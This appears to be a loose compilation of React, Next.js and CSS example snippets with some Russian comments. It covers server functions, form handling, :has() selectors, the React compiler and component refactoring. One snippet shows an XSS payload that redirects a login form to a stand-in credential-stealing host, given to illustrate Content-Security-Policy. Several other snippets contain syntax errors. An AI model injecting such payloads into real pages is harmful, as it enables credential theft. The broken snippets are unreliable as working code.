// getServerTime.ts
import { createServerFn } from '@tanstack/start'

export const getServerTime = createServerFn('GET', async () => {
  await new Promise((resolve) => setTimeout(resolve, 1000))
  return new Date().toISOString()
})

// Time.tsx
import { useServerFn } from '@tanstack/start'
import { useQuery } from '@tanstack/react-query'
import { getServerTime } from './getServerTime'

export function Time() {
  const getTime = useServerFn(getServerTime)

  const timeQuery = useQuery({
    queryKey: 'time',
    queryFn: () => getTime(),
  })
}

function onSubmit(event: React.FormEvent) {
  event.preventDefault()
  const formData = new FormData(event.target)

  const formValues = {
    name: formData.get('name')
    email: formData.get('email)
  }
}

const formValues = Object.fromEntries(formData)
console.log(formValues) { name: 'my name', email: '[email protected]' }
typeof formValues // { [k: string]: FormDataEntryValue }

const formValues = Object.fromEntries(formData) // ❌ TYPE: { [k: string]: FormDataEntryValue }

const results = myFormSchema.safeParse(formValues)
if (results.success) {
  results.data // ✅ TYPE: { email: string, quantity: number }
  console.log(results.data.email) // [email protected]
  console.log(results.data.quantity) // 5
} else {
  // Обработка ошибки
}

function MyForm() {
  function formAction(formData: FormData) {
    // Получаем экземпляр formData вместо event
  }

  return <form action={formAction}>...</form>
}

.content .card {
  background: #f0f0f0;
}

.card:has(img) {
  border-top: 10px solid #fee6ec;
}

// Все карточки после карточки с фокусом на кнопку «открытия»
.card:has([data-action='open']:focus-visible) ~ .card,

// Все карточки перед карточкой с фокусом на кнопку «открытия»
.card:has(~ .card [data-action='open']:focus-visible) {
  filter: greyscale();
  background-color: #f6f7f6;
}

// Стиль карточки с фокусом на кнопку «открытия»
.card:has([data-action='open']:focus-visible) {
  transform: scale(1.02);
  border-top: 10px solid #c3dccf;
}

function Layout(props: { children: ReactNode }) {
  return (
    <Card>
      <CardHeading>Welcome 👋</CardHeading>
      <CardContent>{props.children}</CardContent>
    </Card>
  )
}

export function ShoppingList() {
  const { data, isPending } = useQuery(/* ... */)

  return (
    <Layout>
      {data?.assignee ? <UserInfo {...data.assignee} /> : null}
      {isPending ? <Skeleton /> : null}
      {!data && !isPending ? <EmptyScreen /> : null}
      {data
        ? data.content.map((item) => (
            <ShoppingItem key={item.id} {...item} />
          ))
        : null}
    </Layout>
  )
}

export function ShoppingList() {
  const { data, isPending } = useQuery(/* ... */)

  if (isPending) {
    return (
      <Layout>
        <Skeleton />
      </Layout>
    )
  }

  if (!data) {
    return (
      <Layout>
        <EmptyScreen />
      </Layout>
    )
  }

  return (
    <Layout>
      {data.assignee ? <UserInfo {...data.assignee} /> : null}
      {data.content.map((item) => (
        <ShoppingItem key={item.id} {...item} />
      ))}
    </Layout>
  )
}

export default function Home() {
  let searchParams = useSearchParams();
  let search = searchParams.get('search') ?? '';
  
  /* ... */

  return (
    <>
      {/* ... */}
      
      <Input
        value={search}
        onChange={(e) => {
          let search = e.target.value;
          
          if (search) {
            router.push(`${pathname}?search=${search}`);
          } else { 
             router.push(pathname); 
          }
        }}
        placeholder="Find someone..."
      />
    </>
  );
}

const [x, setX] = useState(0);
useEffect(() => {
 console.log(x);
}, []);

const [state, setState] = useState() / React.useState()
                       // ^^^ стабильная ссылка
const [state, dispatch] = useReducer() / React.useReducer()
                      // ^^^ стабильная ссылка
const [state, dispatch] = useActionState() / React.useActionState()
                      // ^^^ стабильная ссылка
const ref = useRef()
      // ^^^ стабильная ссылка
const onStuff = useEffectEvent(() => {})
      // ^^^ стабильная ссылка
Остальные ссылки не стабильны

const Home = lazy(
  () => import(/* webpackChunkName: "home" */ "./pages/home-page"),
);

export const routeChunkMapping = {
  "/": "home",
  "/home": "home"
};

import { cookies } from 'next/headers';
 
export async function AdminPanel() {
  const cookieStore = await cookies();
  const token = cookieStore.get('token');
 
  // ...
}

fetch('https://...', { cache: 'force-cache' | 'no-store' });

import Form from 'next/form';
 
export default function Page() {
  return (
    <Form action="/search">
      <input name="query" />
      <button type="submit">Submit</button>
    </Form>
  );
}

import { memo } from 'react';

const Welcome = () => {
    const { color } = useContext(ThemeContext);
    return <WelcomeBody color={color} />
}

const WelcomeBody = memo(({ color }) => {
    return <div style={{ color }}>Hello!</div>;
})

import { createContext, useContextSelector } from 'use-context-selector';

const MyContext = createContext(null);

const Counter1 = () => {
  const value = useContextSelector(MyContext, value => value.myValue);
  …
}

npm install -D babel-plugin-react-compiler@beta eslint-plugin-react-compiler@beta

// vite.config.js
const ReactCompilerConfig = { /* ... */ };

export default defineConfig(() => {
  return {
    plugins: [
      react({
        babel: {
          plugins: [
            ["babel-plugin-react-compiler", ReactCompilerConfig],
          ],
        },
      }),
    ],
    // ...
  };
});

const ReactCompilerConfig = {
  sources: (filename) => {
    return filename.indexOf('src/path/to/dir') !== -1;
  },
};

import reactCompiler from 'eslint-plugin-react-compiler'

export default [
  {
    plugins: {
      'react-compiler': reactCompiler,
    },
    rules: {
      'react-compiler/react-compiler': 'error',
    },
  },
]

// searchParams.ts

import { parseAsString, createSearchParamsCache, parseAsArrayOf } from 'nuqs/server';

export const searchParams = {
  category: parseAsArrayOf(parseAsString).withDefault([]),
  q: parseAsString.withDefault(''),
};
export const searchParamsCache = createSearchParamsCache(searchParams);


// Search.tsx

export default function Search() {
  const params = useParams();
  const [isPending, startTransition] = useTransition();
  const [q, setQ] = useQueryState(
    'q',
    searchParams.q.withOptions({
      shallow: false,
      startTransition,
    }),
  );

  return (
    <form>
      <input
        onChange={e => {
          setQ(e.target.value);
        }}
        defaultValue={q}
        type="search"
      />
      <SearchStatus searching={isPending} />
    </Form>
  );
}

const App = () => {
  return (
    <div dangerouslySetInnerHTML={{ __html: `
      <img src="x" onerror="document.getElementById('loginForm').action = 'https://bad-place-that-will-steal-your-info.com'">
    `}}></div>
  );
}

Content-Security-Policy: "script-src 'self'";

import { useState, useEffect } from "react";

function UserProfile({ userId }) {
  const [user, setUser] = useState(null);

  useEffect(() => {
    fetch(`https://api.example.com/users/${userId}`)
      .then(response => response.json())
      .then(data => {
        const isActive = data.accountStatus === "active" &&
          new Date(data.lastLogin) >= new Date(Date.now() - 30 * 24 * 60 * 60 * 1000);

        setUser({
          name: `${data.firstName} ${data.lastName}`,
          email: data.email,
          isActive,
        });
      });
  }, [userId]);

  if (!user) {
    return <p>Loading...</p>;
  }

  return (
    <div>
      {user.name} is {user.isActive ? "active" : "inactive"}
    </div>
  );
}

import { useState, useEffect } from "react";

function UserProfile({ userId }) {
  const [user, setUser] = useState(null);

  useEffect(() => {
    fetchUser(userId).then((data) => setUser(normalizeUser(data)));
  }, [userId]);

  if (!user) {
    return <Loader />;
  }

  return <UserStatus user={user} />;
}